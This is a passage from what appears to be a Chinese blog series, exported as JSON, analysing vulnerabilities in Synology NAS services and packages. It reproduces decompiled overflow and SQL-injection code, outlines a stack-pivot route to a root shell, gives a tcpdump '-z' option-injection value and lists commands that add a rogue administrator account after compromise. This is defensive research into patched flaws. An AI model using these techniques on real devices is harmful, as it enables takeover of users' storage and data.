(\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f)`,剩余部分由一系列的`TLV`组成,`TLV`分别对应`pkt_id`、`data_length`和`data`。\n\n另外,在`libfindhost.so`中存在一大段与协议格式相关的数据`grgfieldAttribs`,表明消息剩余部分的格式和含义。具体地,下图右侧中的每一行对应结构`pkt_item`,其包含`6`个字段。其中,`pkt_id`字段表明对应数据的含义,如数据包类型、用户名、`mac`地址等;`offset`字段对应将数据放到内部缓冲区的起始偏移;`max_length`字段则表示对应数据的最大长度。\n\n> 实际上,`libfindhost.so`中的`grgfieldAttribs`,每一个`pkt_item`包含`8`个字段;而在`Synology Assistant`中,每一个`pkt_item`包含`6`个字段。不过,重点的字段应该是前几个,故这里暂且只关注前`6`个字段。\n\n<img src=\"images/cq674350529_findhostd_fields_attribs.png\" style=\"zoom:60%\">\n\n`findhostd`进程会监听`9999/udp, 9998/udp, 9997/udp`等端口,其会调用`FHOSTPacketRead()`来对接收的数据包进行初步校验和解析。以`DSM 6.1.7-15284`版本为例, `FHOSTPacketRead()`的部分代码如下。首先,在`(1)`处会校验接收数据包的头部,校验通过的话程序流程会到达`(2)`,在`while`循环中依次对剩余部分的`pkt_item`进行处理。在`(2)`处会从数据包中读取对应的`pkt_id`,之后在`grgfieldAttribs`中通过二分法查找对应的`pkt_item`,查找成功的话程序流程会到达`(3)`。在`(3)`处会读取对应`pkt_item`中的`pkt_index`字段,如果`pkt_index=2`,程序流程会到达`(4)`。如果`v39 == pkt_id`,则会执行`++v36`,否则在`(5)`处会将`pkt_id`赋值给`v39`。之后,在`(6)`处会根据`pkt_index`的值调用相应的`FHOSTPacketReadXXX()`。\n\n```c\n// in libfindhost.so\n__int64 FHOSTPacketRead(__int64 a1, char *recv_data, int recv_data_size, char *dst_buf)\n{\n v4 = a1;\n // ...\n remain_pkt_len = recv_data_size;\n // ...\n v6 = dst_buf;\n \n memset(dst_buf, 0, 0x2F50uLL);\n v7 = *(unsigned int *)FHOSTHeaderSize_ptr;\n v8 = *(_DWORD *)FHOSTHeaderSize_ptr;\n // ...\n v37 = memcmp(recv_data, src, *(unsigned int *)FHOSTHeaderSize_ptr); // (1) check packet header\n // ...\n pkts_ptr = &recv_data[v7];\n v33 = pkts_ptr;\n v34 = remain_pkt_len - v8;\n // ...\n v11 = v6 + 0x74;\n v12 = (char *)off_7FFFF7DD7FE0; // grgfieldAttribs\n v38 = v6;\n v39 = 0;\n v36 = 0;\n s = v11;\n while ( 1 )\n {\n pkt_id = (unsigned __int8)*pkts_ptr; // (2) get pkt_item_id\n v15 = pkts_ptr + 1;\n wrap_remain_pkt_len = remain_pkt_len - 1;\n v17 = 76LL;\n v18 = 0LL;\n wrap_pkt_id = (unsigned __int8)*pkts_ptr;\n // ... try to find target pkt_item in grgfieldAttribs via binary search\n pkt_index_in_table = *((_DWORD *)v21 + 1); // (3) find the target pkt_item\n // ...\n v31 = *((unsigned int *)v21 + 6);\n if ( (_DWORD)v31 != 2 )\n v31 = 1LL;\n if ( pkt_index_in_table == 2 ) // index\n {\n if ( v39 == pkt_id ) // (4)\n {\n ++v36;\t\t// cause out-of-bounds wirte later\n }\n else\n {\n v39 = (unsigned __int8)*pkts_ptr; // (5)\n v36 = 0;\n }\n }\n else\n {\n v39 = 0;\n v36 = 0;\n }\n v24 = (*((__int64 (__fastcall **)(__int64, char *, _QWORD, char *, _QWORD, __int64, _QWORD))off_7FFFF7DD7FC0 // (6)\n + 3 * pkt_index_in_table\n + 1))(\n a1,\n pkts_ptr + 1,\n wrap_remain_pkt_len,\n &v38[*((_QWORD *)v21 + 1)], // *((_QWORD *)v21 + 1): pkt_item_offset\n *((_QWORD *)v21 + 2), // *((_QWORD *)v21 + 2): pkt_item_max_len\n v31,\n v36);\n // ...\n```\n\n地址`off_7FFFF7DD7FC0`实际指向的内容如下。其中,函数`FHOSTPacketReadString()`会使用传入的第`7`个参数`v36`。另外,`FHOSTPacketReadArray()`内部直接调用`FHOSTPacketReadString()`,因此这两个函数是等价的。\n\n```assembly\nLOAD:00007FFFF7DD7FC0 off_7FFFF7DD7FC0 dq offset grgfieldParsers\n\nLOAD:00007FFFF7DD9340 grgfieldParsers dq 0 ; DATA XREF: LOAD:off_7FFFF7DD7FC0↑o\nLOAD:00007FFFF7DD9348 dq offset FHOSTPacketReadString\nLOAD:00007FFFF7DD9350 dq offset FHOSTPacketWriteString\nLOAD:00007FFFF7DD9358 dq 1\nLOAD:00007FFFF7DD9360 dq offset FHOSTPacketReadInteger\nLOAD:00007FFFF7DD9368 dq offset FHOSTPacketWriteInteger\nLOAD:00007FFFF7DD9370 dq ?\nLOAD:00007FFFF7DD9378 dq offset FHOSTPacketReadArray\nLOAD:00007FFFF7DD9380 dq offset FHOSTPacketWriteArray\n```\n\n函数`FHOSTPacketReadString()`的部分代码如下。正常情况下,程序流程会到达`(7)`处,读取数据包中对应`data_length`字段,如果其值小于剩余数据包的总长度,程序流程会到达`(8)`。如果`(8)`处的条件成立,在`(9)`处会调用`snprintf()`将对应的`data`拷贝到内部缓冲区的指定偏移处,其中`snprintf()`的第`1`个参数为`(char *)(a4 + a7 * pkt_max_length)`,用到了传进来的`v36/a7`参数。\n\n```c\n__int64 FHOSTPacketReadString(__int64 a1, _BYTE *a2, signed int remain_pkt_length, __int64 a4, unsigned __int64 pkt_max_length, __int64 a6, unsigned int a7)\n{\n // ...\n if ( remain_pkt_length > 0 )\n {\n data_length = (unsigned __int8)*a2; // (7) get data_length\n v8 = 0;\n if ( remain_pkt_length > (int)data_length )\n {\n LOBYTE(v8) = 1;\n if ( *a2 )\n {\n LOBYTE(v8) = 0;\n if ( data_length < pkt_max_length ) // (8)\n {\n v8 = data_length + 1;\n snprintf((char *)(a4 + a7 * pkt_max_length), (int)data_length + 1, \"%s\", a2 + 1); // (9) out-of-bounds write\n }\n }\n }\n // ...\n```\n\n回到前面的`(4)/(5)`处,可以发现,如果发送的数据包中包含多个对应`pkt_index=0x2`的`pkt_item`,如`pkt_id=0xbc/0xbd/0xbe/0xbf`,则可以触发多次`++v36`。由于缺乏对`v36`的适当校验,通过发送伪造的数据包,可造成后续在调用`FHOSTPacketReadString()`出现越界写。进一步地,在`(6)`处传递的`v38`与`FHOSTPacketRead()`函数的第`4`个参数有关,而在`findhostd`程序中调用`FHOSTPacketRead()`时第`4`个参数为指向栈上的缓冲区,因此,利用该越界写操作可覆盖栈上的返回地址,从而劫持程序的控制流。\n\n> `DSM 6.1.7-15284`版本中的`findhostd`文件似乎经过混淆了,无法直接采用`IDA Pro`等工具进行分析,可以在`gdb`中`dump`出`findhostd`进程,然后对其进行分析。另外,在较新的版本如`VirtualDSM 6.2.4-25556`中,对应的`findhostd`文件未被混淆,可直接分析。\n\n```c\n// in findhostd\n__int64 handler_recv_data(__int64 a1, __int64 a2, __int64 a3)\n{\n // ...\n int v124[3042]; // [rsp+1970h] [rbp-2F88h] BYREF\n\n // ...\n memset(v124, 0LL, 0x2F50LL);\t// local buffer on stack\n if ( (int)FHOSTPacketRead((__int64)v113, a2, (unsigned int)a1, (__int64)v124) <= 0 )\n {\n // ...\n```\n\n另外,由于`Synology Assistant`客户端对协议数据包的处理过程与`findhostd`类似,因此其早期的版本也会受该漏洞影响。\n\n### 漏洞利用\n\n查看`findhostd`启用的缓解机制,如下,同时设备上的`ASLR`等级为`2`。其中,显示`\"NX disabled\"`,不知道是否和程序被混淆过有关。在设备上查看进程的内存地址空间映射,确实看到`[stack]`部分为`rwxp`。考虑到通用性,这里还是采用`ret2libc`的思路来获取设备的`root shell`。\n\n```shell\n$ checksec.exe --file ./findhostd\n Arch: amd64-64-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x400000)\n RWX: Has RWX segments\n```\n\n由于越界写发生在调用`snprintf()`时,故存在`'\\x00'`截断的问题。通过调试发现,利用越界写覆盖栈上的返回地址后,在返回地址的不远处存在发送的原始数据包内容,因此可借助`stack pivot`将栈劫持到指向可控内容的地方,从而继续进行`rop`。\n\n在实际进行利用的过程中,本来是想将`cmd`直接放在数据包中发送,然后定位到其在栈上的地址,再将其保存到`rdi`寄存器中,但由于未找到合适的`gadgets`,故采用将`cmd`写入`findhostd`进程的某个固定地址处的方式替代。同时,发现区域`0x00411000-0x00610000`不可写(正常应该包含`.bss`区域?),而`.got.plt`区域可写,故将`cmd`写到了该区域。\n\n```shell\nroot@NAS_6_1:/# cat /proc/`pidof findhostd`/maps\n00400000-00411000 r-xp 00000000 00:00 0\n00411000-00610000 ---p 00000000 00:00 0\t\t\t\t\t\t \t\t\t# no writable permission \n00610000-00611000 r-xp 00000000 00:00 0\n00611000-00637000 rwxp 00000000 00:00 0 [heap]\n00800000-00801000 rwxp 00000000 00:00 0\n...\n7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]\t# executable stack?\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n```\n\n最终效果如下。\n\n<img src=\"images/cq674350529_demo.gif\" style=\"zoom:80%\">\n\n### One More Thing\n\n获取到设备的`root shell`后,相当于获取了设备的控制权,比如可以查看用户共享文件夹中的文件等。但是如何登录设备的`Web`管理界面呢?这里给出一种简单的方案:利用`synouser`和`synogroup`命令增加`1`个管理员用户,然后使用新增的用户进行登录即可。当然,`synouser`命令支持直接更改现有用户的密码,且无需原密码,但改了之后正常用户就不知道其密码了 :(\n\n```shell\n# 增加一个用户名为cq, 密码为cq674350529的用户\n$ synouser --add cq cq674350529 \"test admin\" 0 \"\" 31\n# 查看当前管理员组中的现有用户\n$ synogroup --get administrators\n# 将新增加的用户cq添加到管理员组中,xxx为当前管理员组中的现有用户\n$ synogroup --member administrators xxx xxx cq\n# 之后, 便可利用该账户登录设备的Web管理界面\n# 删除新增加的用户\n$ synouser --del cq\n```\n\n### 小结\n\n本文基于群晖`DSM 6.1.7-15284`版本,通过补丁比对的方式对群晖安全公告`Synology-SA-18:64`中提及的漏洞进行了定位和分析。该漏洞与`findhostd`服务相关,由于在处理接收的数据包时缺乏适当的校验,通过发送伪造的数据包,可触发`out-of-bounds write`,利用该操作可覆盖栈上的返回地址,从而劫持程序控制流,达到任意代码执行的目的。通常情况下,`findhostd`服务监听的端口不会直接暴露到外网,故该漏洞应该是在局域网内才能触发。\n\n### 相关链接\n\n+ [Synology Security Advisory: Synology-SA-18:64 DSM](https://www.synology.com/en-global/security/advisory/Synology_SA_18_64)\n+ [群晖镜像仓库](https://archive.synology.com/download/)\n\n<br />\n\n> 本文首发于Seebug Paper,文章链接:[https://paper.seebug.org/2038/](https://paper.seebug.org/2038/)\n","tags":["Synology"],"categories":["IoT","漏洞"]},{"title":"A Journey into Synology NAS 系列四: HTTP请求流程和案例分析","url":"/2022/01/22/A-Journey-into-Synology-NAS-系列四-HTTP请求流程和案例分析/","content":"\n### 前言\n\n前面两篇文章从局域网的角度出发,对群晖`NAS`设备上开放的部分服务进行了分析。而在大部分情况下,群晖`NAS`设备是用于远程访问的场景中,即唯一的入口是通过`5000/http(5001/https)`进行访问(暂不考虑使用`QuickConnect`或其他代理的情形)。因此,本篇文章将主要对`HTTP`请求流程和处理机制进行分析,并分享在部分套件中发现的几个安全问题。\n\n<!-- more -->\n\n### HTTP请求处理流程\n\n在正常登录过程中抓取的部分请求如下,可以看到请求`url`包含`query.cgi`、`login.cgi`和`entry.cgi`等。根据群晖的开发者手册可知,与设备进行交互的大概流程如下:\n\n1. 通过`query.cgi`获取`API`相关的信息;\n2. 通过`login.cgi`和`encryption.cgi`进行认证,获取`session id`;\n3. 通过`entry.cgi`发送请求、解析响应;\n4. 完成交互后登出。\n\n<img src=\"images/cq674350529_http_request_example.png\">\n\n某个具体的请求示例如下,可以看到有点类似于`JSON-RPC`。对于大部分请求,其`url`均为`\"/webapi/entry.cgi\"`。在`POST` `data`部分,`api`参数表示要请求的`API`名称,`method`表示要请求的`API`中的方法,`version`表示要请求的`API`版本。\n\n<img src=\"images/cq674350529_http_request_example_1.png\">\n\n针对`API`请求,群晖在后端采用`json`元数据文件`SYNO.***.***.lib`来定义与`API`相关的信息,示例如下。\n\n```json\n{\n \"SYNO.Core.PersonalNotification.Event\": {\t\t// API名称\n \"allowUser\": [ \"admin.local\"],\t\t\t// 哪个组可以访问该API\n \"appPriv\": \"\",\t\t\t\n \"authLevel\": 1,\t\t\t\t\t// 是否需要认证 (0表示无需认证)\n \"disableSocket\": false,\n \"lib\": \"lib/SYNO.Core.PersonalNotification.so\",\t// 处理具体请求的文件\n \"maxVersion\": 1,\n \"methods\": {\t\t\t\t\t// API中支持的方法以及对应的版本\n \"1\": [{\n \"fire\": {\n \"allowUser\": [ \"admin.local\",\"normal.local\" ],\t// 覆盖上面的定义\n \"grantByUser\": false,\n \"grantable\": true }\n }]\n },\n \"minVersion\": 1,\n \"priority\": 0,\n \"socket\": \"\"\n }\n}\n```\n\n根据上述信息,可以知道如何构造一个具体的请求来触发后端的某个处理程序。\n\n整体的`HTTP`请求处理流程大概如下。首先,请求通过`5000`端口发送给设备,基于请求的`url`,`nginx`服务会将该请求分发给不同的`cgi`,如`query.cgi`、`login.cgi`和`entry.cgi`,其中,`entry.cgi`是大部分`POST`请求的端点。这些`cgi`会与另外两个服务`synocgid`和`synoscgi`进行通信,其中`synocgid`负责处理与`session`相关的事务,而`synoscgi`则负责分发具体的请求到最终的处理程序。\n\n<img src=\"images/cq674350529_process_flow.png\" style=\"zoom:60%\">\n\n### 安全问题\n\n在理解了`HTTP`请求流程和处理机制后,便可以对群晖`NAS`设备的功能模块进行分析。在群晖`NAS`设备上,主要包含两大攻击面:`DSM`操作系统本身和群晖提供的大量套件。下面结合具体的实例进行分析。\n\n#### Diagnosis Tool\n\n前面提到过,`Diagnosis Tool`是群晖提供的一个工具套件,支持抓包、调试等功能。该工具的界面和具体的抓包请求示例如下。\n\n<img src=\"images/cq674350529_diagnosis_tool_ui.png\" style=\"zoom:80%\">\n\n该请求由`packet_capture.cgi`程序进行处理,部分示例代码如下。在`handle_action_start()`中,获取请求中的参数后将其以`json`字符串的形式传给`tcpdump_wrapper`程序。\n\n```c\n__int64 __fastcall handle_action_start(__int64 a1, __int64 a2, const char *a3, const char *a4)\n{\n // ...\n Json::Value::Value((Json::Value *)&v39, (const std::string *)&v28);\n v17 = Json::Value::operator[](&v35, \"output_dir\");\n Json::Value::operator=(v17, &v39);\n Json::Value::~Value((Json::Value *)&v39);\n Json::Value::Value((Json::Value *)&v40, v4);\n v18 = Json::Value::operator[](&v35, \"expression\");\n Json::Value::operator=(v18, &v40);\n Json::Value::~Value((Json::Value *)&v40);\n Json::Value::Value((Json::Value *)&v41, v6);\n v19 = Json::Value::operator[](&v35, \"interface\");\n Json::Value::operator=(v19, &v41);\n Json::Value::~Value((Json::Value *)&v41);\n Json::FastWriter::write((Json::FastWriter *)&v33, (const Json::Value *)&v37);\n std::string::assign((std::string *)&v29, (const std::string *)&v33);\n // ...\n if (SLIBCExec(\"/var/packages/DiagnosisTool/target/bin/tcpdump_wrapper\", \"--params\", v29, 0LL, 0LL) == -1 )\n // ...\n```\n\n在`tcpdump_wrapper`中,调用`sub_401F10()`解析得到`output_dir`、`expression`和`interface`参数,并传入`RunTcpDump()`,其最终调用`execve()`执行命令`tcpdump -i <interface> -w <file> -C 10 -s 0 filter_expression`。\n\n```c\n__int64 __fastcall main(signed int a1, char **a2, char **a3)\n{\n if ( a1 > 1 )\n {\n // ...\n if ( v3 != 2 && !strcmp(v4[1], \"--params\") )\n {\n std::string::string(&v11, v4[2], &v6);\n // resolve parameters from json string\n sub_401F10(&v11, &output_dir, &expression,&interface);\n // ...\n }\n }\n if (sub_4019D0(&output_dir) )\n {\n if (sub_401900() && !RunTcpdump(&output_dir, &expression, &interface) )\n {\n // ... \n```\n\n调用`execve()`来执行命令,相对比较安全,避免了命令注入的问题,但其中的`filter_expression`参数是可控的。通过查看`tcpdump`命令的帮助文档,发现`-z`选项与`-C`或`-G`选项组合也可达到命令执行的目的。\n\n<img src=\"images/cq674350529_tcpdump_man.png\">\n\n针对`tcpdump -i <interface> -w <file> -C 10 -s 0 filter_expression`,其中已包含`-C`选项,因此通过伪造`filter_expression`参数为`-z<path to your shell script>`,即通过注入命令选项,可实现命令执行的效果。\n\n#### DS File\n\n`DS File`是群晖提供的一个移动应用程序,便于从移动设备上访问和管理`DiskStation`上的文件,使用该应用访问`DiskStation`的流程与通过`web`的流程类似。当尝试登录到`DiskStation`时,认证过程采用基于`PKI`的加密机制。而在某些情形下如目标`IP`输入错误,或者网络临时不可用,正常的请求会失败,`DS File`会发送额外的请求。\n\n<img src=\"images/cq674350529_Ds_File_access_flow.png\" style=\"zoom:60%\">\n\n通过查看对应的第`3`个请求发现,在请求头中包含经过`Base64`编码后的`Authorization`信息,相当于明文。\n\n<img src=\"images/cq674350529_ds_file_password_leakage.png\" style=\"zoom:65%\">\n\n因此,在一个不安全的网络环境中,当尝试通过`DS File`应用访问`DiskStation`时,通过简单地丢弃或重定向对应的请求,\"中间人''可窃取用户的明文账号信息。\n\n#### Synology Calendar\n\n该套件是一个基于`Web`的应用程序,用于管理日常的事件和任务,其支持在事件中添加附件和分享日程等功能。其中,添加附件的功能支持从本地上传和从 `NAS `中上传两种方式。普通用户创建事件并添加附件的示例如下,同时给出了与附件链接相关的部分前端代码。\n\n<img src=\"images/cq674350529_calendar_event_attachment.png\" style=\"zoom:60%\">\n\n可以看到,上传文件的名称被拼接到`href`链接中。如果伪造一个文件名,能否控制对应的`href`链接呢?经过测试发现,由于未对文件名进行校验,通过伪造一个合适的文件名,可以更改对应的`href`链接,同时让显示的文件名称看起来正常。\n\n<img src=\"images/cq674350529_calendar_csrf.png\" style=\"zoom:60%\">\n\n此外,借助日程分享功能,还可以将该事件分享到管理员组中。当管理员组中的某个人查看该事件并点击对应的附件之后,该请求就会被执行。因此,利用该漏洞,一个普通权限的用户可以以\"管理员\"的权限执行\"任意\"请求,比如将其添加到管理员组中。\n\n#### Media Server\n\n`Media Server`套件提供与多媒体相关的服务,允许在`NAS`上通过`DLNA/UPnP`播放多媒体内容。在安装该套件后,会启动一些自定义的服务,如下。\n\n<img src=\"images/cq674350529_mediaserver_custom_service.png\">\n\n通过简单的分析,发现`dms`中存在一些可供访问的`url`,且无需认证。\n\n<img src=\"images/cq674350529_mediaserver_dms_urls.png\" style=\"zoom:60%\">\n\n第`1`个比较有意思的`api`是`videotranscoding.cgi`,对应的请求`url`格式为`http://%s:%d/transcoder/videotranscoding.cgi/%s/id=%d%s`,处理该请求的部分代码如下。可以看到,如果`url`中包含字符串`id=`和字符`?`,就将`id=`和`?`之间的内容拷贝到`dest`缓冲区中。由于没有考虑两者出现的先后顺序,如果请求`url`为`http://%s:%d/transcoder/videotranscoding.cgi/VideoStation?id=1`,在调用`strncpy()`时就会出现整数下溢问题。\n\n```c\n__int64 sub_406E80(__int64 a1)\n{\n // ...\n v4 = getenv(\"REQUEST_URI\");\n snprintf(s, 0x800uLL, \"%s\", v4);\n v99 = strstr(s, \"id=\");\n if ( v99 )\n {\n v5 = strchr(s, '?');\n if ( v5 )\n strncpy(dest, v99 + 3, v5 - (v99 + 3)); // integer underflow\n }\n // ...\n std::string::assign(v3, dest, strlen(dest));\n // ...\n sub_403F50(a1, v1, v3, (std::string *)(a1 + 136));\n```\n\n假设请求`url`的格式和程序预期的一致,函数`sub_403F50()`将会在后续被调用,其第`3`个参数对应前面拷贝的请求`url`中`id=`和`?`之间的内容。在`sub_403F50()`中,对参数`a2`进行简单校验后,参数`a3`会被当做`id`后面的参数进行格式化。由于未对参数`a3`进行适当校验,且参数`a3`外部可控,因此会存在`SQL`注入的问题。\n\n```c\n__int64 sub_403F50(__int64 a1, std::string *a2, _QWORD *a3, std::string *a4)\n{\n // ...\n if ( !(unsigned int)std::string::compare(a2, \"MediaServer\") )\n {\n std::string::assign((std::string *)v32, \"mediaserver\", 0xBuLL);\n std::string::assign((std::string *)&v34, \"MediaServer\", 0xBuLL);\n std::string::assign((std::string *)v33, \"video\", 5uLL);\n }\n else\n {\n if ( (unsigned int)std::string::compare(a2, \"VideoStation\") )\n goto LABEL_4;\n std::string::assign((std::string *)v32, \"video_metadata\", 0xEuLL);\n std::string::assign((std::string *)&v34, \"VideoStation\", 0xCuLL);\n std::string::assign((std::string *)v33, \"video_file\", 0xAuLL);\n }\n snprintf(s, 0x100uLL, \"SELECT * from %s where id = %s\", v33[0], (const char *)*a3); // SQL injection\n```\n\n另外`1`个类似的`api`为`jpegtnscaler.cgi`,对应的请求`url`格式为`http://%s:%d/transcoder/jpegtnscaler.cgi/%s/%d.%s`,处理该请求的部分代码如下。可以看到,在调用`strncpy()`前未对其长度参数进行校验,通过构造请求如`http://%s:%d/transcoder/jpegtnscaler.cgi/<a*0x450>/1`,可造成缓冲区溢出。\n\n```c\n__int64 main(__int64 a1, char **a2, char **a3)\n{\n // ...\n v3 = getenv(\"REQUEST_URI\");\n // ...\n v4 = strrchr(v3, '/');\n v5 = v4;\n // ...\n v6 = strtol(v4 + 1, 0LL, 10);\n bzero(s, 0x400uLL);\n strncpy(s, v3, v5 - v3); // buffer overflow\n```\n\n#### Audio Station\n\n`Audio Station`套件提供收听广播节目、管理音乐库、建立个人播放清单等功能,并支持随时随地与朋友分享。安装该套件后,在其安装路径下会存在一些自定义的`cgi`程序,如`media_server.cgi`、`web_player.cgi`、`audiotransfer.cgi`等。在使用该套件的同时进行抓包,部分请求示例如下。\n\n<img src=\"images/cq674350529_audiostation_request_example.png\" style=\"zoom:80%\">\n\n在前面提到的`HTTP`请求处理流程中,`execl_cgi()`负责处理自定义的`cgi`请求。更重要的是,在某些情形下,认证的处理由自定义的`cgi`程序负责。\n\n<img src=\"images/cq674350529_audiostation_http_request.png\" style=\"zoom:60%\">\n\n通过分析,最有意思的`api`为`audiotransfer.cgi`,对应的请求`url`格式为`http://%s:%d/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/%s.%s`,处理该请求的部分代码如下。可以看到,在`main()`函数开始处调用`sub_402730()`。在函数`sub_402730()`中,先获取请求`url`路径最后面的内容,然后将其传给`MediaIDDecryption()`。在`MediaIDDecryption()`中,先计算参数`a1`的长度,在拷贝前`6`个字节后,调用`snprintf()`。由于调用`snprintf()`时,其`size`参数和后面的字符串内容可控,存在缓冲区溢出问题。更重要的是,这个过程中没有对认证进行处理,即无需认证,因此通过构造并发送特定的请求,远程未认证的用户可触发该缓冲区溢出漏洞。\n\n```c\n__int64 main(__int64 a1, char **a2, char **a3)\n{\n sub_402730((__int64)v5);\n\n\n_BOOL8 sub_402730(__int64 a1)\n{\n // ...\n v8 = getenv(\"REQUEST_URI\");\n snprintf(s, 0x400uLL, \"%s\", v8);\n // ...\n v11 = strrchr(s, '/');\n v12 = v11;\n if ( v11 )\n {\n // ...\n v15 = MediaIDDecryption((__int64)(v12 + 1));\n\n\n__int64 MediaIDDecryption(const char *a1)\n{\n // ...\n v1 = strlen(a1);\n if ( v1 > 5 )\n {\n v3 = (v1 - 6) >> 1;\n snprintf(s, 7uLL, \"%s\", a1);\n v14 = 0; v4 = s; v5 = (char *)&v14;\n do\n {\n v6 = *v4; --v5; ++v4; v5[6] = v6;\n }\n while ( v5 != &v13 ); // copy first 6 bytes\n __isoc99_sscanf(s, \"%x\", &v8);\n __isoc99_sscanf(&v14, \"%x\", &v9);\n snprintf(v17, v3 + 1, \"%s\", a1 + 6);\n snprintf(v18, v3 + 1, \"%s\", &a1[v3 + 6]); // buffer overflow\n```\n\n关于漏洞利用,知道创宇的`@fenix`师傅基于`DSM 5.2-5592`和`Audio Station 5.4-2860`进行了[分析和测试](https://paper.seebug.org/1604/),其中相关的条件包括`x86架构`、`NX保护`、`ASLR为半随机`,感兴趣的可以去看看。这里补充几点:\n\n+ 针对`x86`架构,基于`DSM 6.x`,`ASLR`为全随机,通过寻找合适的`gadgets`,可实现稳定利用,无需堆喷或爆破;\n\n+ 在`DSM 6.x`上,获取到`shell`后,还需要进行提权操作;\n\n+ 针对`x64`架构,由于存在地址高位截断的问题,暂时未找到合适的思路进行利用。\n\n > 如果师傅们有合适的思路,欢迎交流 :)\n\n### One More Thing\n\n上面只是列举了几个典型的套件,以及在其中发现的部分问题。实际上,群晖的`DSM`系统中有非常多的功能,以及大量的套件可供分析。群晖官方会不定期发布其产品的[安全公告](https://www.synology.com/en-global/security/advisory),结合群晖的[镜像仓库](https://archive.synology.com/download/),可以很方便地去做补丁分析和漏洞挖掘。\n\n### 小结\n\n针对群晖`NAS`的远程使用场景,本文重点对`web`接口上请求的流程和处理机制进行了分析。同时,结合几个典型的套件,基于上述流程,分享了在其中发现的部分安全问题。\n\n本文是该系列的最后一篇,希望对群晖`NAS`设备感兴趣的同学有所收获。\n\n### 相关链接\n\n+ [Synology-SA-20:07 Synology Calendar](https://www.synology.cn/zh-cn/security/advisory/Synology_SA_20_07)\n+ [Synology-SA-21:21 Audio Station](https://www.synology.cn/zh-cn/security/advisory/Synology_SA_21_21)\n+ [聊聊 Synology NAS Audio Station 套件未授权 RCE 调试及 EXP 构造](https://paper.seebug.org/1604/)\n+ [群晖产品安全公告](https://www.synology.com/zh-cn/security/advisory)\n+ [群晖镜像仓库](https://archive.synology.com/download/)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/266297](https://www.anquanke.com/post/id/266297)\n\n","tags":["Synology"],"categories":["IoT"]},{"title":"A Journey into Synology NAS 系列三: iscsi_snapshot_comm_core服务分析","url":"/2021/12/25/A-Journey-into-Synology-NAS-系列三-iscsi_snapshot_comm_core服务分析/","content":"\n### 前言\n\n上一篇[文章](https://cq674350529.github.io/2021/09/12/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%BA%8C-findhostd%E6%9C%8D%E5%8A%A1%E5%88%86%E6%9E%90/)主要对群晖`NAS`设备上的`findhostd`服务进行了分析。本篇文章将继续对另一个服务`iscsi_snapshot_comm_core`进行分析,介绍其对应的通信流程,并分享在其中发现的几个安全问题。\n\n<!-- more -->\n\n### `iscsi_snapshot_comm_core`服务分析\n\n`iSCSI (Internet small computer system interface)`,又称`IP-SAN`,是一种基于块设备的数据访问协议。`iSCSI`可以实现在`IP`网络上运行`SCSI`协议,使其能够在诸如高速千兆以太网上进行快速的数据存取/备份操作。\n\n群晖`NAS`设备上与`iSCSI`协议相关的两个进程为`iscsi_snapshot_comm_core`和`iscsi_snapshot_server`,对应的通信流程示意图如下。具体地,`iscsi_snapshot_comm_core`首先接收并解析来自外部`socket`的数据,之后再通过`pipe`发送给自己,对接收的`pipe`数据进行处理后,再通过`pipe`发送数据给`iscsi_snapshot_server`。`iscsi_snapshot_server`接收并解析来自`pipe`的数据,根据其中的`commands`来执行对应的命令,如`init_snapshot`、`start_mirror`、`restore_lun`等。\n\n<img src=\"images/cq674350529_iscsi_comm_flow.png\" style=\"zoom:70%\">\n\n对于通过`socket`和`pipe`进行数据的发送与接收,在`libsynoiscsiep.so.6`中存在着2个对应的结构体`socket_channel_transport`和`pipe_channel_transport`,其包含一系列相关的函数指针,如下。其中,部分函数最终是通过调用`PacketRead()`和`PacketWrite()`这2个函数来进行数据的读取和发送。\n\n```assembly\nLOAD:00007FFFF7DD9F40 public pipe_channel_transport\nLOAD:00007FFFF7DD9F40 pipe_channel_transport dq 2 ; DATA XREF: LOAD:off_7FFFF7DD7F48↑o\nLOAD:00007FFFF7DD9F40 ; LOAD:transports↑o\nLOAD:00007FFFF7DD9F48 dq offset synocomm_pipe_construct\nLOAD:00007FFFF7DD9F50 dq offset synocomm_pipe_destruct\nLOAD:00007FFFF7DD9F58 align 20h\nLOAD:00007FFFF7DD9F60 dq offset synocomm_pipe_stop_service\nLOAD:00007FFFF7DD9F68 dq offset synocomm_pipe_internal_request\nLOAD:00007FFFF7DD9F70 dq offset synocomm_pipe_internal_response\nLOAD:00007FFFF7DD9F78 dq offset synocomm_pipe_internal_request_media\nLOAD:00007FFFF7DD9F80 dq offset synocomm_pipe_internal_response_media\nLOAD:00007FFFF7DD9F88 dq offset synocomm_base_external_request\nLOAD:00007FFFF7DD9F90 dq offset synocomm_base_external_response\nLOAD:00007FFFF7DD9F98 dq offset synocomm_base_write_msg_pipe\nLOAD:00007FFFF7DD9FA0 dq offset synocomm_base_read_msg_pipe\nLOAD:00007FFFF7DD9FA8 dq offset synocomm_base_send_msg\nLOAD:00007FFFF7DD9FB0 dq offset synocomm_base_recv_msg\nLOAD:00007FFFF7DD9FB8 align 20h\n\nLOAD:00007FFFF7DD9FC0 public socket_channel_transport\nLOAD:00007FFFF7DD9FC0 socket_channel_transport dq 1 ; DATA XREF: LOAD:off_7FFFF7DD7F68↑o\nLOAD:00007FFFF7DD9FC0 ; LOAD:00007FFFF7DD9F18↑o\nLOAD:00007FFFF7DD9FC8 dq offset synocomm_socket_construct\nLOAD:00007FFFF7DD9FD0 dq offset synocomm_socket_destruct\nLOAD:00007FFFF7DD9FD8 dq offset synocomm_socket_start_service\nLOAD:00007FFFF7DD9FE0 dq offset synocomm_socket_stop_service\nLOAD:00007FFFF7DD9FE8 dq offset synocomm_socket_internal_request\nLOAD:00007FFFF7DD9FF0 dq offset synocomm_socket_internal_response\nLOAD:00007FFFF7DD9FF8 dq offset synocomm_socket_internal_request_media\nLOAD:00007FFFF7DDA000 dq offset synocomm_socket_internal_response_media\nLOAD:00007FFFF7DDA008 dq offset synocomm_base_external_request\nLOAD:00007FFFF7DDA010 dq offset synocomm_base_external_response\nLOAD:00007FFFF7DDA018 dq offset synocomm_base_write_msg_socket\nLOAD:00007FFFF7DDA020 dq offset synocomm_base_read_msg_socket\nLOAD:00007FFFF7DDA028 dq offset 